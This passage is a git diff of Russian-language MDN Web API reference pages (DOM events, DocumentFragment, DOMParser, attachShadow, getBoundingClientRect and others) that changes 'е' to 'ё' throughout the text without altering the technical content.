(не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не даёт вам доступ к DOM ссылающейся страницы.</p> <p>Внутри элемента {{HTMLElement("iframe")}}, <code>Document.referrer</code> первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.</p> diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html index 041c505630..5b50a26c31 100644 --- a/files/ru/web/api/document/scroll_event/index.html +++ b/files/ru/web/api/document/scroll_event/index.html @@ -46,9 +46,9 @@ translation_of: Web/API/Document/scroll_event <h3 id="Пропуск_тактов_события_прокрутки">Пропуск тактов события прокрутки</h3> -<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-емкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p> +<p>Поскольку события прокрутки могут запускаться с высокой скоростью, обработчик событий не должен выполнять вычислительно-ёмкие операции, такие как модификации DOM. Вместо этого рекомендуется пропускать такты события, используя {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} или {{DOMxRef("CustomEvent")}}, как показано ниже.</p> -<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведенная ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> +<p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> <pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ diff --git a/files/ru/web/api/document_object_model/events/index.html b/files/ru/web/api/document_object_model/events/index.html index b8dd38e9d8..eb3a257182 100644 --- a/files/ru/web/api/document_object_model/events/index.html +++ b/files/ru/web/api/document_object_model/events/index.html @@ -10,7 +10,7 @@ original_slug: DOM/DOM_Reference/Events <p>В этой главе описывается модель событий DOM. <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Топ скрыть</a> Интерфейс сам по себе описано, а также интерфейсы для регистрации событий на узлах в DOM, Также а <a href="/ru/docs/Web/API/EventTarget.addEventListener">обработчики события</a> Главного , Также а Несколько больше Примеры, которые показывают, как Различные интерфейсы связаны друг события Главного с другом.</p> -<p>Существует отличная диаграмма, которая четко объясняет события трех этапов через DOM в проекте <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p> +<p>Существует отличная диаграмма, которая чётко объясняет события трёх этапов через DOM в проекте <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p> <p>Также см. <a href="/ru/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Пример 5: Распространение событий</a> в главе «Примеры» для более подробного примера.</p> @@ -41,7 +41,7 @@ function greet (event) { <pre class="brush: html"><button onclick = "alert ('Hello world!')"> </pre> -<p>Код JavaScript в атрибуте передается объекту Event через <code>event</code>параметр. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Возвращаемое значение обрабатывается особым образом, описанным в спецификации HTML</a> .</p> +<p>Код JavaScript в атрибуте передаётся объекту Event через <code>event</code>параметр. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Возвращаемое значение обрабатывается особым образом, описанным в спецификации HTML</a> .</p> <p>Этого пути следует избегать. Это делает разметку больше и менее читаемой. Проблемы содержания / структуры и поведения плохо разделены, что затрудняет поиск ошибки.</p> @@ -57,9 +57,9 @@ function greet (event) { <h2 id="Доступ_к_интерфейсам_событий">Доступ к интерфейсам событий</h2> -<p>Обработчики событий могут быть присоединены к различным объектам, включая элементы DOM, документ, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">объект окна</a> и т. Д. Когда происходит событие, объект события создается и последовательно передается обработчикам события.</p> +<p>Обработчики событий могут быть присоединены к различным объектам, включая элементы DOM, документ, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">объект окна</a> и т. Д. Когда происходит событие, объект события создаётся и последовательно передаётся обработчикам события.</p> -<p>Интерфейс {{domxref ("Event")}} доступен из функции-обработчика через объект события, переданный в качестве первого аргумента. В следующем простом примере показано, как объект события передается в функцию-обработчик события и может использоваться из одной такой функции.</p> +<p>Интерфейс {{domxref ("Event")}} доступен из функции-обработчика через объект события, переданный в качестве первого аргумента. В следующем простом примере показано, как объект события передаётся в функцию-обработчик события и может использоваться из одной такой функции.</p> <pre class="brush: js"><code>function print(evt) {</code> // параметру evt автоматически назначается объект события diff --git a/files/ru/web/api/document_object_model/examples/index.html b/files/ru/web/api/document_object_model/examples/index.html index 18eb89b351..6f0354b793 100644 --- a/files/ru/web/api/document_object_model/examples/index.html +++ b/files/ru/web/api/document_object_model/examples/index.html @@ -368,7 +368,7 @@ for (var i = 0; i < 2; i++) { <h3 id="Notes" name="Notes">Заметки</h3> <ul> - <li>Свойство таблицы {{domxref ("element.innerHTML", "innerHTML")}} никогда не должно использоваться для изменения таблицы, хотя вы можете использовать ее для записи всей таблицы или содержимого ячейки.</li> + <li>Свойство таблицы {{domxref ("element.innerHTML", "innerHTML")}} никогда не должно использоваться для изменения таблицы, хотя вы можете использовать её для записи всей таблицы или содержимого ячейки.</li> <li>Если для создания строк и ячеек используются методы DOM Core {{domxref ("document.createElement")}} и {{domxref ("Node.appendChild")}}, IE требует, чтобы они были добавлены к элементу tbody, тогда как другие браузеры позволят добавлять к элементу таблицы (строки будут добавлены к последнему элементу tbody).</li> <li>Существует ряд других методов, относящихся к интерфейсу таблицы, которые могут использоваться для создания и изменения таблиц.</li> </ul> diff --git a/files/ru/web/api/document_object_model/introduction/index.html b/files/ru/web/api/document_object_model/introduction/index.html index e906032520..426ebcbe5e 100644 --- a/files/ru/web/api/document_object_model/introduction/index.html +++ b/files/ru/web/api/document_object_model/introduction/index.html @@ -54,7 +54,7 @@ p_list = doc.getElementsByTagName("para");</code></pre> <pre class="language-html"><body onload="window.alert('добро пожаловать на мою домашнюю страницу!');"> </pre> -<p>В следующем примере внутри элемента <code><script></code> определен код JavaScript, данный код устанавливает функцию при загрузке документа (когда весь DOM доступен для использования). Эта функция создает новый элемент H1, добавляет текст в данный элемент, а затем добавляет H1 в дерево документа:</p> +<p>В следующем примере внутри элемента <code><script></code> определён код JavaScript, данный код устанавливает функцию при загрузке документа (когда весь DOM доступен для использования). Эта функция создаёт новый элемент H1, добавляет текст в данный элемент, а затем добавляет H1 в дерево документа:</p> <pre class="brush: html language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> @@ -111,7 +111,7 @@ p_list = doc.getElementsByTagName("para");</code></pre> </tr> <tr> <td>namedNodeMap</td> - <td>namedNodeMap подобна массиву, но элементы доступны по имени или индексу. Доступ по индексу - это лишь для удобства перечисления, т.к. элементы не имеют определенного порядка в списке. Этот тип данных имеет метод item() для этих целей и вы можете также добавлять и удалять элементы из namedNodeMap</td> + <td>namedNodeMap подобна массиву, но элементы доступны по имени или индексу. Доступ по индексу - это лишь для удобства перечисления, т.к. элементы не имеют определённого порядка в списке. Этот тип данных имеет метод item() для этих целей и вы можете также добавлять и удалять элементы из namedNodeMap</td> </tr> </tbody> </table> @@ -144,11 +144,11 @@ table.summary = "note: increased border";</pre> <h3 id="Основные_интерфейсы_в_DOM_Core_interfaces_in_the_DOM">Основные интерфейсы в DOM (Core interfaces in the DOM)</h3> -<p>Этот раздел перечисляет несколько самых распространенных интерфейсов в DOM. Идея не в том чтобы описать, что делают эти методы API, но в том чтобы дать вам несколько мыслей насчет видов методов и свойств, которые вы будете часто видеть, используя DOM. Эти распространенные части API использованы в большинстве примеров раздела <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> в конце этой справки.</p> +<p>Этот раздел перечисляет несколько самых распространённых интерфейсов в DOM. Идея не в том чтобы описать, что делают эти методы API, но в том чтобы дать вам несколько мыслей насчёт видов методов и свойств, которые вы будете часто видеть, используя DOM. Эти распространённые части API использованы в большинстве примеров раздела <a href="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples">DOM Examples</a> в конце этой справки.</p> <p><code>Document, window</code> - это объекты, чьи интерфейсы вы, как правило, очень часто используете в программировании DOM. Говоря простыми словами, объект <code>window</code> представляет что-то вроде браузера, а объект <code>document</code> - корень самого документа. <code>Element</code> наследуется от общего интерфейса <code>Node</code>, и эти интерфейсы вместе предоставляют много методов и свойств, которые можно применять у отдельных элементов. Эти элементы также могут иметь отдельные интерфейсы для работы с типами данных, которые эти элементы содержат, как в примере с объектом <code>table</code> в предыдущем случае.</p> -<p>Ниже представлен краткий список распространенных членов API, используемых в программировании веб- и XML-страниц с использованием DOM:</p> +<p>Ниже представлен краткий список распространённых членов API, используемых в программировании веб- и XML-страниц с использованием DOM:</p> <ul> <li><code><a href="/ru/docs/Web/API/Document/getElementById">document.getElementById</a>(id)</code></li> diff --git a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html index 0bdfd09bdc..fcf0e9351a 100644 --- a/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html +++ b/files/ru/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -6,7 +6,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors --- <div>{{ gecko_minversion_header("1.9.1") }}</div> -<div>Selectors API предоставляет методы, с помощью которых можно быстро и просто получить доступ к узлам <code><a href="/en-US/docs/DOM/element">Element</a></code> из DOM путем сопоставления с набором селекторов. Это намного быстрее, чем прошлые техники, где надо было, например, использовать цикл в JS-коде, чтобы найти конкретные элементы.</div> +<div>Selectors API предоставляет методы, с помощью которых можно быстро и просто получить доступ к узлам <code><a href="/en-US/docs/DOM/element">Element</a></code> из DOM путём сопоставления с набором селекторов. Это намного быстрее, чем прошлые техники, где надо было, например, использовать цикл в JS-коде, чтобы найти конкретные элементы.</div> <div> </div> @@ -16,7 +16,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors <dl> <dt><code>querySelector</code></dt> - <dd>Возвращает первый совпадающий узел <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> внутри поддерева. Если совпадающих узлов нет, будет возвращен <code>null</code>.</dd> + <dd>Возвращает первый совпадающий узел <a class="internal" href="/en-US/docs/DOM/element" title="en-US/docs/DOM/Element"><code>Element</code></a> внутри поддерева. Если совпадающих узлов нет, будет возвращён <code>null</code>.</dd> <dt><code>querySelectorAll</code></dt> <dd>Возвращает <a class="internal" href="/en-US/docs/DOM/NodeList" title="en-US/docs/DOM/NodeList"><code>NodeList</code></a><code>, </code>содержащий все подходящие узлы <code>Element</code> внутри поддерева узлов. Или возвращает пустой <code>NodeList</code>, если совпадений не найдено.</dd> </dl> @@ -27,7 +27,7 @@ original_slug: DOM/DOM_Reference/Locating_DOM_elements_using_selectors <h2 id="Selectors">Selectors</h2> -<p>Селекторные методы принимают один или больше селекторов, разделенных запятыми, чтобы определить, какие элементы должны быть возвращены. Например, чтобы все параграфы в документе, которые имеют классы <code>warning </code>или <code>note</code>, можно сделать следующее:</p> +<p>Селекторные методы принимают один или больше селекторов, разделённых запятыми, чтобы определить, какие элементы должны быть возвращены. Например, чтобы все параграфы в документе, которые имеют классы <code>warning </code>или <code>note</code>, можно сделать следующее:</p> <pre><code>var special = document.querySelectorAll( "p.warning, p.note" );</code></pre> diff --git a/files/ru/web/api/documentfragment/index.html b/files/ru/web/api/documentfragment/index.html index 61a6ae1571..edfbe14735 100644 --- a/files/ru/web/api/documentfragment/index.html +++ b/files/ru/web/api/documentfragment/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/DocumentFragment --- <p>{{ APIRef("DOM") }}</p> -<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как легкая версия {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p> +<p>Интерфейс DocumentFragment представляет собой минимальный объект документа, который не имеет родителя. Он используется как лёгкая версия {{domxref ("Document")}}, чтобы хранить хорошо сформированные или потенциально не хорошо формированные фрагменты XML.</p> <p>Различные другие методы могут взять document fragment в качестве аргумента (например, любые методы интерфейса Node, такие как Node.appendChild и Node.insertBefore), в этом случае прикрепляются или вставляются дети фрагмента, а не сам фрагмент.</p> @@ -15,7 +15,7 @@ translation_of: Web/API/DocumentFragment <h2 id="Specification" name="Specification">Свойства</h2> -<p><em>Этот интерфейс не имеет определенных свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p> +<p><em>Этот интерфейс не имеет определённых свойств помимо наследуемых от его родителя, {{domxref("Node")}}, и реализует их из интерфейса {{domxref("ParentNode")}}.</em></p> <dl> <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt> diff --git a/files/ru/web/api/domhighrestimestamp/index.html b/files/ru/web/api/domhighrestimestamp/index.html index 666c2f7ecc..08264fdf0d 100644 --- a/files/ru/web/api/domhighrestimestamp/index.html +++ b/files/ru/web/api/domhighrestimestamp/index.html @@ -23,7 +23,7 @@ event.timeStamp // ... -// уменьшенная точность времени с включенным `privacy.resistFingerprinting` +// уменьшенная точность времени с включённым `privacy.resistFingerprinting` event.timeStamp; // 1519129853500 // 1519129858900 diff --git a/files/ru/web/api/domimplementation/createhtmldocument/index.html b/files/ru/web/api/domimplementation/createhtmldocument/index.html index 51092a034b..b339da409b 100644 --- a/files/ru/web/api/domimplementation/createhtmldocument/index.html +++ b/files/ru/web/api/domimplementation/createhtmldocument/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument --- <p>{{ApiRef("DOM")}}</p> -<p><span class="seoSummary">Метод <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создает новый HTML {{ domxref("Document") }}.</span></p> +<p><span class="seoSummary">Метод <strong><code>DOMImplementation.createHTMLDocument()</code></strong> создаёт новый HTML {{ domxref("Document") }}.</span></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,7 +26,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <h2 id="Пример">Пример</h2> -<p>В этом примере создается новый HTML-документ и вставляется в {{HTMLElement("iframe")}} текущего документа.</p> +<p>В этом примере создаётся новый HTML-документ и вставляется в {{HTMLElement("iframe")}} текущего документа.</p> <p>Вот HTML для этого примера:</p> diff --git a/files/ru/web/api/domimplementation/index.html b/files/ru/web/api/domimplementation/index.html index f68c256376..e0e5834098 100644 --- a/files/ru/web/api/domimplementation/index.html +++ b/files/ru/web/api/domimplementation/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/DOMImplementation <h2 id="Свойства">Свойства</h2> -<p><em>Этот интерфейс не имеет определенного свойства и не наследует его.</em></p> +<p><em>Этот интерфейс не имеет определённого свойства и не наследует его.</em></p> <h2 id="Методы">Методы</h2> @@ -22,13 +22,13 @@ translation_of: Web/API/DOMImplementation <dl> <dt>{{domxref("DOMImplementation.createDocument()")}}</dt> - <dd>Создает и возвращает {{domxref("XMLDocument")}}.</dd> + <dd>Создаёт и возвращает {{domxref("XMLDocument")}}.</dd> <dt>{{domxref("DOMImplementation.createDocumentType()")}}</dt> - <dd>Создает и возвращает {{domxref("DocumentType")}}.</dd> + <dd>Создаёт и возвращает {{domxref("DocumentType")}}.</dd> <dt>{{domxref("DOMImplementation.createHTMLDocument()")}}</dt> - <dd>Создает и возвращает HTML {{domxref("Document")}}.</dd> + <dd>Создаёт и возвращает HTML {{domxref("Document")}}.</dd> <dt>{{domxref("DOMImplementation.hasFeature()")}}</dt> - <dd>Возвращает {{domxref("Boolean")}}, указывающий, поддерживается ли данная функция или нет. Эта функция ненадежна и сохраняется только для целей совместимости: за исключением запросов, связанных с SVG, она всегда возвращает true. Старые браузеры очень непоследовательны в своем поведении.</dd> + <dd>Возвращает {{domxref("Boolean")}}, указывающий, поддерживается ли данная функция или нет. Эта функция ненадёжна и сохраняется только для целей совместимости: за исключением запросов, связанных с SVG, она всегда возвращает true. Старые браузеры очень непоследовательны в своём поведении.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> @@ -48,7 +48,7 @@ translation_of: Web/API/DOMImplementation Added the <code>createHTMLDocument()</code> method.<br> Modified the return type of <code>createDocument()</code> from {{domxref("Document")}} to {{domxref("XMLDocument")}}.</p> - <p>Удален метод <code>getFeature()</code>. Добавлен метод <code>createHTMLDocument()</code>. Изменён тип возвращаемого значения <code>createDocument()</code> с {{domxref("Document")}} на {{domxref("XMLDocument")}}.</p> + <p>Удалён метод <code>getFeature()</code>. Добавлен метод <code>createHTMLDocument()</code>. Изменён тип возвращаемого значения <code>createDocument()</code> с {{domxref("Document")}} на {{domxref("XMLDocument")}}.</p> </td> </tr> <tr> diff --git a/files/ru/web/api/domparser/index.html b/files/ru/web/api/domparser/index.html index a23e5cb58e..76d1ed4964 100644 --- a/files/ru/web/api/domparser/index.html +++ b/files/ru/web/api/domparser/index.html @@ -30,7 +30,7 @@ var doc = parser.parseFromString(stringContainingXMLSource, "application/xml"); <h3 id="Error_handling" name="Error_handling">Обработка ошибок</h3> -<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдает исключение, но вместо этого выдает документ ошибки (see {{Bug(45566)}}):</p> +<p>Заметьте, если процесс парсинга не удастся , <code>DOMParser</code> теперь не выдаёт исключение, но вместо этого выдаёт документ ошибки (see {{Bug(45566)}}):</p> <pre class="brush:xml"><parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (Описание ошибки) diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html index 3fb65e93ea..ad41a3d422 100644 --- a/files/ru/web/api/domtokenlist/replace/index.html +++ b/files/ru/web/api/domtokenlist/replace/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/DOMTokenList/replace <h3 id="Возвращает_значение">Возвращает значение</h3> -<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменен, или <code>false</code> в противном случае.</p> +<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменён, или <code>false</code> в противном случае.</p> <div class="note"> <p><strong>Примечание</strong>: В старых браузерах <code>replace()</code> возвращает void.</p> diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html index 535f95ce1a..d2fcdbf0df 100644 --- a/files/ru/web/api/element/attachshadow/index.html +++ b/files/ru/web/api/element/attachshadow/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Element/attachShadow <h4 id="Элементы_которые_можно_добавить_в_теневой_DOM">Элементы которые можно добавить в теневой DOM</h4> -<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешенных элементов:</p> +<p>Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешённых элементов:</p> <ul> <li>Любой пользовательский элемент с <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name">валидным именем</a></li> @@ -80,14 +80,14 @@ element.shadowRoot === null; // returns true </tr> <tr> <td>NotSupportedError</td> - <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некорректным именем, или к запрещенному элементу. (см. выше)</td> + <td>Вы пытаетесь прикрепить shadow DOM к HTML элементу с некорректным именем, или к запрещённому элементу. (см. выше)</td> </tr> </tbody> </table> <h2 id="Примеры">Примеры</h2> -<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow() примерно в середине кода. Метод создает корневой элемент теневого DOM к которому потом добавляется содержимое шаблона элемента.</p> +<p>Пример взят из демо компонента <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>, так-же доступно <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">live demo</a>. Вы можете найти метод attachShadow() примерно в середине кода. Метод создаёт корневой элемент теневого DOM к которому потом добавляется содержимое шаблона элемента.</p> <pre class="brush: js"><code>//Create a class for the element class WordCount extends HTMLParagraphElement { diff --git a/files/ru/web/api/element/blur_event/index.html b/files/ru/web/api/element/blur_event/index.html index acebebdabb..f5357eb7ae 100644 --- a/files/ru/web/api/element/blur_event/index.html +++ b/files/ru/web/api/element/blur_event/index.html @@ -26,7 +26,7 @@ original_slug: Web/Events/blur <dd style="margin: 0 0 0 120px;">Нет</dd> </dl> -<p>{{NoteStart}}Значение {{domxref("Document.activeElement")}} меняется в зависимости от браузера во время выполнения этого события ({{bug(452307)}}): IE10 устанавливает его к элементу на который будет перемещен фокус, в то время как Firefox и Chrome обычно устанавливают его к <code>body</code> документа{{NoteEnd}}</p> +<p>{{NoteStart}}Значение {{domxref("Document.activeElement")}} меняется в зависимости от браузера во время выполнения этого события ({{bug(452307)}}): IE10 устанавливает его к элементу на который будет перемещён фокус, в то время как Firefox и Chrome обычно устанавливают его к <code>body</code> документа{{NoteEnd}}</p> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html index c96fc8427a..1e83b5f78b 100644 --- a/files/ru/web/api/element/classlist/index.html +++ b/files/ru/web/api/element/classlist/index.html @@ -41,7 +41,7 @@ translation_of: Web/API/Element/classList Если класс у элемента отсутствует - добавляет, иначе - убирает. Когда вторым параметром передано false - удаляет указанный класс, а если true - добавляет.</dd> <dd> Если вторым параметром передан undefined или переменная с typeof == 'undefined', поведение будет аналогичным передаче только первого параметра при вызове toggle.</dd> <dd><strong>contains</strong> ( String )<br> - Проверяет, есть ли данный класс у элемента (вернет true или false)</dd> + Проверяет, есть ли данный класс у элемента (вернёт true или false)</dd> </dl> <div class="note"> diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html index 09395a31c0..6fb2e89c0b 100644 --- a/files/ru/web/api/element/clientleft/index.html +++ b/files/ru/web/api/element/clientleft/index.html @@ -61,8 +61,8 @@ translation_of: Web/API/Element/clientLeft <h2 id="Notes">Notes</h2> -<p><code>clientLeft</code> был впервые введен MS IE DHTML object model.</p> +<p><code>clientLeft</code> был впервые введён MS IE DHTML object model.</p> -<p>Расположение вертикального scrollbar для письма справа налево примененного для элемента будет назначаются следующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p> +<p>Расположение вертикального scrollbar для письма справа налево применённого для элемента будет назначаются следующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p> -<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернет <code>0</code> несмотря на границы элемента.</p> +<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернёт <code>0</code> несмотря на границы элемента.</p> diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html index cf209ba985..4160e3847e 100644 --- a/files/ru/web/api/element/clienttop/index.html +++ b/files/ru/web/api/element/clienttop/index.html @@ -38,7 +38,7 @@ translation_of: Web/API/Element/clientTop <h2 id="Notes" name="Notes">Примечание</h2> -<p><code>clientTop</code> был впервые введен в MS IE DHTML object model.</p> +<p><code>clientTop</code> был впервые введён в MS IE DHTML object model.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html index 84d47ca794..0d8837d8a0 100644 --- a/files/ru/web/api/element/closest/index.html +++ b/files/ru/web/api/element/closest/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/Element/closest <p>Думаю, стоит рассмотреть несколько примеров:</p> -<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнем поиск +<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск div.closest("#block"); //Результат - самый первый блок древа выше div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div" diff --git a/files/ru/web/api/element/error_event/index.html b/files/ru/web/api/element/error_event/index.html index 716ebfef1d..44804d730b 100644 --- a/files/ru/web/api/element/error_event/index.html +++ b/files/ru/web/api/element/error_event/index.html @@ -23,7 +23,7 @@ original_slug: Web/Events/error <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt> <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-error">DOM L3</a></dd> <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt> - <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если создается элементом пользовательского интерфейса, {{domxref("MediaRecorderErrorEvent")}} если генерируется API записи MediaStream, и {{domxref("Event")}} иначе.</dd> + <dd style="margin: 0 0 0 120px;">{{domxref("UIEvent")}} если создаётся элементом пользовательского интерфейса, {{domxref("MediaRecorderErrorEvent")}} если генерируется API записи MediaStream, и {{domxref("Event")}} иначе.</dd> <dt style="float: left; text-align: right; width: 120px;">Вплывающее</dt> <dd style="margin: 0 0 0 120px;">Нет</dd> <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt> diff --git a/files/ru/web/api/element/getboundingclientrect/index.html b/files/ru/web/api/element/getboundingclientrect/index.html index 7d154af995..a2dbe829cf 100644 --- a/files/ru/web/api/element/getboundingclientrect/index.html +++ b/files/ru/web/api/element/getboundingclientrect/index.html @@ -73,9 +73,9 @@ var rect = obj.getBoundingClientRect();</code></pre> <p>Возвращаемый <code>DOMRect</code> объект может быть модифицирован в современных браузерах. Это не так со старыми версиями, которые возвращали <code>DOMRectReadOnly</code>. У IE и Edge, не имея возможности добавить пропущенные свойства к возвращаемым ими <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx"><code>ClientRect</code></a>, объект не позволял добавить <code>x</code> и <code>y</code>.</p> -<p>Для кроссбраузерности надежно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p> +<p>Для кроссбраузерности надёжно использовать только <code>left</code>, <code>top</code>, <code>right</code>, и <code>bottom</code>.</p> -<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращенные значение, но другие APIs, <code>Object.keys()</code>, — нет. А еще <code>Object.assign()</code> и spread оператор не копируют их.</p> +<p>Свойства у <code>DOMRect</code> не являются собственными. <code>in</code> оператор и <code>for...in</code> найдут возвращённые значение, но другие APIs, <code>Object.keys()</code>, — нет. А ещё <code>Object.assign()</code> и spread оператор не копируют их.</p> <pre><code>rect = elt.getBoundingClientRect() // emptyObj всегда {} diff --git a/files/ru/web/api/element/getelementsbyclassname/index.html b/files/ru/web/api/element/getelementsbyclassname/index.html index 08cacea20e..2b4e7674d9 100644 --- a/files/ru/web/api/element/getelementsbyclassname/index.html +++ b/files/ru/web/api/element/getelementsbyclassname/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/Element/getElementsByClassName <p><strong><code>Element.getElementsByClassName()</code></strong> метод возвращает объект {{domxref("HTMLCollection")}}, содержащий в себе все дочерние элементы, которые имеют заданные имена классов. Если вызван на объекте document, будут возвращены все элементы, содержащиеся в документе.</p> -<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернет элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p> +<p>Так же, как метод {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} действует на весь документ; это вернёт элементы, которые являются потомками корневого элемента, содержащие в себе указанные классы.</p> <p>Syntax</p> @@ -38,7 +38,7 @@ translation_of: Web/API/Element/getElementsByClassName <pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre> -<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом {{ domxref("HTMLCollection") }} путем передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдем все {{HTMLElement("div")}} элементы, которые имеют класс test:</p> +<p>Мы так же можем использовать все методы из {{jsxref("Array.prototype")}} на любом {{ domxref("HTMLCollection") }} путём передачи <code><var>HTMLCollection</var></code> в метод как значение <var>this</var>. Так мы найдём все {{HTMLElement("div")}} элементы, которые имеют класс test:</p> <pre class="brush: js">var testElements = document.getElementsByClassName('test'); var testDivs = Array.prototype.filter.call(testElements, function(testElement){ diff --git a/files/ru/web/api/element/getelementsbytagname/index.html b/files/ru/web/api/element/getelementsbytagname/index.html index 6dd764a608..5085a050d1 100644 --- a/files/ru/web/api/element/getelementsbytagname/index.html +++ b/files/ru/web/api/element/getelementsbytagname/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Element/getElementsByTagName <ul> <li><code>elements</code> это живая коллекция {{domxref("HTMLCollection")}} найденных элементов в том порядке, в котором они были найдены в дереве. Если не найдено ни одного элемента, удовлетворяющего условиям 